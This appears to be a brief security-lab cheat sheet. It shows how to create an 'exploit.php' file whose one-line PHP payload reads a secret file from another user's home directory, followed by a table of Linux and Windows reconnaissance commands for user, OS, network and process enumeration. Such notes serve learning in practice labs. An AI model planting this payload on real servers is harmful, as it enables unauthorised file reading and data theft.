Command Basics

create a php file in the command line

touch exploit.php
nano
<?php echo file_get_contents('/home/carlos/secret'); ?>

Control + X (To save and exit)

cat exploit.php
Purpose of command
Linux
Windows

Name of current user

whoami

whoami

Operating system

uname -a

ver

Network configuration

ifconfig

ipconfig /all

Network connections

netstat -an

netstat -an

Running processes

ps -ef

tasklist

Last updated